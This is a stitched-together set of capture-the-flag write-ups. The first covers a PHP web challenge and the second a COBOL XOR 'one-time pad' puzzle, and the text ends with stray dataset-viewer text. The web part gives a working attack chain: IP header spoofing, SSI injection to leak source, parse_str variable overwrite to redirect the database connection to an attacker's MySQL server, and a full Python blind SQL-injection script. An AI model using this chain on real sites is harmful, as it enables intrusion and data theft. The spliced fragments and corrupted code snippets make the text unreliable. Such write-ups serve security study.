Preface-------Having scored the first blood and with only 2 teams solving the challenge, I thought it was almost mandatory to publish a write-up. I have to say that I really liked it, even if I found it frustrating at a time. By looking back at all the steps needed to complete it, I can easily see that all the pieces fits perfectly in place and - probably - the only part that required some guessing, i.e., the location of the flag, has been addressed by one of the hints released 24h after the start of the competition. Many thanks to [@\_Imm0](https://twitter.com/_Imm0) and [fluxfingers](https://fluxfingers.net/) for preparing it. I had a long journey hacking through it but highly rewarding!
Overview--------The challenge provides a simple single-page website that filled with Lorem ipsum quotes and a picture of a tree. 
A quick analysis of the HTML code of the page reveals a more interesting path where the tree picture is hosted
```HTML```
This portal served at [http://31.22.123.49:1908/internal/login]()  offers a registration/login form and an admin page that tells us that we are not admin after logging in:
```HTML<div class="custom_tooltip">You're not admin.<span>XXX.XXX.XXX.XXX isn't admins IP.</span></div>```
To the source(s)----------------It seems obvious that to be identified as admins we need to come from a specific IP. To do so we first identify the internal IP of the host serving the challenge by crafting a malformed request to obtain some useful error message.
```Bash$ curl -X '' http://31.22.123.49:1908/internal/
<html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1>Your browser sent a request that this server could not understand.<hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.1.1 Port 13337</address></body></html>```
Your browser sent a request that this server could not understand.
Once we know that the challenge is hosted internally at `127.0.1.1`, port `13337`, we can try to use the `X-Forwarded-For` header to trick the server into believing that our original IP is `127.0.1.1`.
```Bash$ curl -b 'PHPSESSID=qloervi3nq447sdlukt2cp0g29' -H 'X-Forwarded-For: 127.0.0.1' http://31.22.123.49:1908/internal/admin...<div class="main"> <div class="custom_tooltip">You're not admin.<span>127.0.0.1, 128.130.112.21 isn't admins IP.</span></div></div>```
The header is successfully parsed and the IP reflected back into the page, but no admin privileges are granted.
After hours of random attempts, we figured out that it was possible to perform a [SSI](https://en.wikipedia.org/wiki/Server_Side_Includes) injection (thanks Jan!) to leak the PHP source code of all the pages of the website.
```Bash$ curl -b 'PHPSESSID=qloervi3nq447sdlukt2cp0g29' -H 'X-Forwarded-For: ' http://31.22.123.49:1908/internal/admin```
It's enough to repeat the process for all the pages to reconstruct the [entire code base](src/). Notice that the server prevents us from accessing files that are located outside of the current directory, so we can't read the following files: `../config.php`, `../db_config.php`, `../db_credentials.php`.
Digging deeper--------------The sources are a constellation of bad security practices that is even surprising that the application is actually working. Sadly, this does not mean that the application can be easily exploited. As an example, we report some of the security pitfalls that can be easily spotted.
From `login.php`:
```PHP// We had some issues with double encoded values. This fixed it.$parmas = parse_str(urldecode(file_get_contents("php://input")));```
Here the [`parse_str()`](https://www.php.net/manual/en/function.parse-str.php) function is used to parse the body of the POST request. The PHP documentation clearly states that
> Warning> Using this function without the result parameter is highly DISCOURAGED and DEPRECATED as of PHP 7.2.> Dynamically setting variables in function's scope suffers from exactly same problems as register_globals.> Read section on security of Using Register Globals explaining why it is dangerous.
Basically we can set and overwrite variables by passing them over POST requests.
From `register.php`:
```PHP$params["password"] = hash("sha512", $params["password"]);$stmt = $pdo->prepare("Insert into members (username, password) values (:username, '{$params['password']}')");$stmt->bindParam(":username", $params["username"], PDO::PARAM_STR);$stmt->execute();```
Contrary to the username value that is safely bound to the correct parameter, the password is hashed and then its hash is concatenated as a string to the SQL query. That said, the code above does not present any way to inject SQL statements, but it's definitely a bad practice that rang a bell in my head.
From `admin.php`:
```PHPif ($_SERVER["REQUEST_METHOD"] === "POST") { if (!isset($_SESSION["logged_in"]) || $_SESSION["logged_in"] !== true) { header("Location: /internal/login", true, 302); die(); } else { /* disabled for security reasons */ die("Disabled for security reasons"); $parmas = parse_str(urldecode(file_get_contents("php://input"))); $pdo = new_database_connection(); $stmt = $pdo->prepare("select * from members where username like '%" . $params["username"] . "%'"); $stmt->execute(); if ($stmt->rowCount() >= 1) { $result = $stmt->fetchAll(PDO::FETCH_ASSOC); foreach($result as $row) { echo "<tr>"; echo "<td>{$row['id']}</td>"; echo "<td>{$row['username']}</td>"; echo "<td>{$row['password']}</td>"; echo "<td>{$row['admin']}</td>"; echo "</tr>"; } } }} ...```
This is an extremely weird pattern. The whole code after the second `die()` call is dead and it is not clear for what reason this has been provided. Notice that without the second `die()` we could exploit `parse_str()` to overwrite `$params["username"]` and inject arbitrary SQL statements.
There are other peculiarities in the code.
From `register.php`:
```PHPif (isset($params["auto_login"])) { require_once "login.php"; die("Welp, I have no idea what you did, but this code is supposed to be dead.");}```
By passing the `$params["auto_login"]` via POST to the register page, the backend *includes* `login.php` instead of redirecting us to that page.
From `utils.php`:
```PHPfunction new_database_connection(){ global $db_host, $db_name, $db_user, $db_pass; require_once "../db_config.php"; include "../db_credentials.php"; $pdo = new PDO("mysql:host=$db_host;dbname=$db_name", $db_user, $db_pass); return $pdo;}```
For some reason the database configuration (most likely `$db_host` and `$db_name`) are included using [`require_once`](https://www.php.net/manual/en/function.require-once.php), while the credentials are fetched via [`include`](https://www.php.net/manual/en/function.include.php). The difference between the two inclusion methods is that the `require_once` statement causes PHP to check if the file has already been included, and if so, does not include it again, while `include` does not perform this check.
From `admin.php`:
```PHPif ($_SESSION["is_admin"] === true) { // Joe: Implemented additional check. Bob told me that his friend recently bypassed this and that I should implement additional checks. $pdo = new_database_connection(); $stmt = $pdo->prepare("SELECT admin FROM members WHERE id=" . $_SESSION["id"]); $stmt->execute(); if ($stmt->rowCount() === 1) { $result = $stmt->fetch(PDO::FETCH_ASSOC); if ($result["admin"] === "1") { echo '<div id="Login"ok let's try to class="">'; echo ''; echo ''; echo '<h1> Member Search </h1>'; echo ''; echo '<form action="/internal' . $_SERVER["SCRIPT_NAME"] . '" method="POST">'; echo '<label for="params[username]">Username</label>'; echo ''; echo '<button type="submit" class="button">Search</button>'; echo ''; echo '</form>'; echo '</div>'; } } else { die("You ain't admin. You must be a bad hacker."); }```
'; echo '<h1> Member Search </h1>'; echo '
The code above is traumatic. Even in the unlikely event that we manage to become admin, there is no evidence that a flag (in case you forgot, we're here for that indeed) will be printed anywhere.
Putting it all together-----------------------The previous section provides all the pieces needed to carry on the exploitation process. Not knowing where the flag is actually stored, my approach consisted in trying to subvert the application in any possible way and afterwards thinking about the flag. Turned out, indeed, that becoming admin was not the ultimate goal of the challenge, but it was a relevant step to get closer to the flag.
We have the powerful capability of setting/overwriting variables via POST requests, so let's try to make a good use of it. As mentioned before, `register.php` includes `login.php` if the registration completes successfully and if the POST parameter `$params["auto_login"]` is provided. In this case, the `login.php` code shares the environment set previously by the `register.php` page, including the variables that we can craft thanks to the `parse_str()` vulnerability. Looking for interesting variables to overwrite, I noticed again the `new_database_connection()` function defined in `utils.php`. Due to the different inclusion methods of `db_config.php` and `db_credentials.php`, we can assume that `$db_user` and `$db_pass` are re-instantiated every time `new_database_connection()` is called, while `$db_host` `$db_name` are left untouched by `require_once` after the first inclusion. It follows that if we pollute the environment from `register.php` and we manage to include `login.php` from the registration page, we can actually control the host and the database name used by the PDO connector used at login time!
### Pwn like Bob's friend and get admin privs
The idea at this point is to register with any user, then let the PDO connector fetch login data from a MySQL server under our control and then head to `/internal/admin` having `$_SESSION["is_admin"]` set to true. The relevant snippet from `login.php` is provided below:
```PHP$params["password"] = hash("sha512", $params["password"]);$stmt = $pdo->prepare("select * from members where username=:username and password='" . $params["password"] . "'");$stmt->bindParam(":username", $params["username"], PDO::PARAM_STR);$stmt->execute();if ($stmt->rowCount() === 1) { // Successfully logged in. Populate Session. $result = $stmt->fetch(PDO::FETCH_ASSOC); $_SESSION["username"] = $result["username"]; $_SESSION["id"] = $result["id"]; $_SESSION["logged_in"] = true; $_SESSION["is_admin"] = $result["admin"] === "1" ? true : false; header("Location: /internal/admin", true, 302); die();} ```
The preconditions to perform the attack are easily satisfiable, but notice that the MySQL username and password used by the connector are unknown. The username `ctf-user` can be leaked by setting up a MySQL server and check the logs for failed connection attempts, but - as far as I know - the password cannot be retrieved in a similar way.
```2019-10-23T01:04:10.766062Z 5 [Note] Access denied for user 'ctf-user'@'31.22.123.49' (using password: YES) ```
Also, creating a username without a password results in a "access denied" error when the connector provides a password. After enough [googling](https://superuser.com/questions/1127299/how-to-restart-mysql-with-skip-grant-tables-if-you-cant-use-the-root-password) I figured out that is it possible to completely get rid of password checking by setting the option `skip-grant-tables` on my MySQL configuration file. Thanks to this totally unsafe debugging feature, we can perform the attack by:
1. Create the database `tree` in the MySQL instance hosted on our server `tree.minimalblue.com` and grant access to that db to the user `ctf-user`2. Create the table `tree.members` and add one row that matches a user that we will register on the challenge site in the next step, setting the `admin` column to `1`. For example, given the user `marco` with password `lol`, we should add something like this:```-------------------------------------------------------| id | username | password | admin |------------------------------------------------------|| 0 | marco | 3dd28c5a23f780659d83dd99... | 1 |-------------------------------------------------------```3. Register the same user `marco` with password `lol` on the `http://31.22.123.49:1908/internal/register` and pass to that endpoint the POST variables that will cause the database parameters to be overwritten at login time: * `params[username]=marco` * `params[password]=lol` * `params[auto_login]=on` * `db_host=tree.minimalblue.com` * `db_name=tree`4. Given that we are forcibly setting `admin=1` in the result set of the query performed by the login page, we should be able to simply follow the redirection to `/internal/admin` to verify that we effectively gained admin access by checking whether the `Member Search` text is found in the page.
### Sorry Joe, we can do better than Bob's friend
Now that we managed to gain admin privileges and we entered a branch in the code that looked impossible to reach at the beginning of this quest, it is time to look for the flag. Assuming that the flag is in the database (this has been subsequently confirmed by a hint released 24h after the competition start), we must find a way to inject arbitrary SQL statements, dump the list of tables, columns and - eventually - read the flag.
To do so we can leverage the same technique adopted to login as admin and perform a second-order SQL injection by saving the payload in the `id` column the user that we create on our server. You can indeed observer that `login.php` sets `$_SESSION["id"]` to any value that we provide in our table and then this value is concatenated in `admin.php` to perform another query, opening space to SQL injections:
```PHP$stmt = $pdo->prepare("SELECT admin FROM members WHERE id=" . $_SESSION["id"]);```
Since the output of this query is not directly printed in the page, we have to rely on a blind SQL injection and leak 1 bit of information at a time by registering a new user at every request. As a oracle, we set the admin value to either `1` or `0` depending on our condition. It turned out that the flag was stored in the table `s3cr3t_st0r4g3` under the column `s3cr3t`. The full script developed to execute the attack is provided below:
```Python#!/usr/bin/python3
import sysimport stringfrom subprocess import run, PIPEimport requests
CHARS = sorted(string.printable, key = lambda c: ord(c))URL = 'http://31.22.123.49:1908'USERNAME = 'fqertyuiop'COUNT = 1337
def remote_add(payload): user = '{}_{}'.format(USERNAME, COUNT) php_code = ''' $db_host="tree.minimalblue.com"; $db_name="tree"; $db_user="ctf-user"; $db_pass="ctf-pwd"; $pdo = new PDO("mysql:host=$db_host;dbname=$db_name", $db_user, $db_pass); $stmt = $pdo->prepare("INSERT INTO members(id, username, password) VALUES ('QUERY', 'USER', 'f7fbba6e0636f890e56fbbf3283e524c6fa3204ae298382d624741d0dc6638326e282c41be5e4254d8820772c5518a2c5a8c0c7f7eda19594a7eb539453e1ed7')"); $stmt->execute(); '''.replace('QUERY', payload).replace('USER', user)
run(['php', '-r', php_code], stdout=PIPE)
def oracle(pos, guess): payload = '-337 UNION SELECT IF({}>=(SELECT ORD(MID(s3cr3t, {}, 1)) from s3cr3t_st0r4g3 LIMIT 1), 1, 0)'.format(guess, pos) remote_add(payload) s = requests.Session() r = s.post('{}/internal/register.php'.format(URL), { 'params[username]': '{}_{}'.format(USERNAME, COUNT), 'params[password]': 'foo', 'params[auto_login]': 'on', 'db_host': 'tree.minimalblue.com', 'db_name': 'tree' }, allow_redirects=True)
return 'Member Search' in r.text
def search_bin(pos): global COUNT
l = 0 h = len(CHARS)-1
while l != h: m = (l + h) // 2 if oracle(pos, ord(CHARS[m])): h = m else: l = m + 1
COUNT += 1
return CHARS[l]
def main(): for pos in range(1, 100): print(search_bin(pos))
if __name__ == '__main__': main()```
Flag: `flag{ffc1f54c7a4e7f7e9065d4b16f1ac742}` |
# COBOL OTP
## crypto - Points: 175
> To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?>> [cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip](cobol_otp_96726770d36dee506e2fc6bc1b7f7f7d.zip)
In this task you were given a small `cobol` program and an output message that you have to decrypt. From the program's name you already know that the encryption is done via `XOR`, but you don't have the key.
With a proper key with size of the message, the decryption would be hard, but we probably know the first 5 bytes of the plaintext since it will likely be the flag format that is `flag{`. So `XOR`ing the encrypted bytes with the plaintext bytes gives the key and when it is printable, we might be able to infer the next bytes. But the output contains non-printable bytes and at this point I was not sure, whether the plaintext really starts like the guess.
I have never seen this programming language, so in preferred to simply compile and test the program. I could observe, that it does only use the first 10 bytes of the `key.txt` and then reuses them when the message is longer.
With knowing this we can try to always decrypt the first 5 bytes of 10 bytes with the key we derived from the flag format and get the following:
flag{?????_c4n_?????O2_c3?????_s4v3?????fUtUr?????
And it looks good already, now we only need to guess plaintext for the second part of the key. This is quite easy if you try to guess the part between `_s4v3` and `fUtUr`, where `_th3_` might be the correct plaintext. So `XOR`ing again the encrypted bytes for this part with our guess gives the second part of the key and with the full key and can decrypt the whole message to get the flag.
```pythonwith open('out', 'r') as file: data = file.read().splitlines()[1]
key = ''flag = ''guess = 'flag{'
for i in range(5): key += chr(ord(data[i]) ^ ord(guess[i]))
for k in range(5): for i in range(10*k,10*k+5): flag += chr(ord(data[i]) ^ ord(key[i%10])) flag += '?????'
print flag
guess = '_th3_'
for i in range(35,40): key += chr(ord(data[i]) ^ ord(guess[i-35]))
flag = ''for i in range(49): flag += chr(ord(data[i]) ^ ord(key[i%10]))
print flag```
flag: `flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.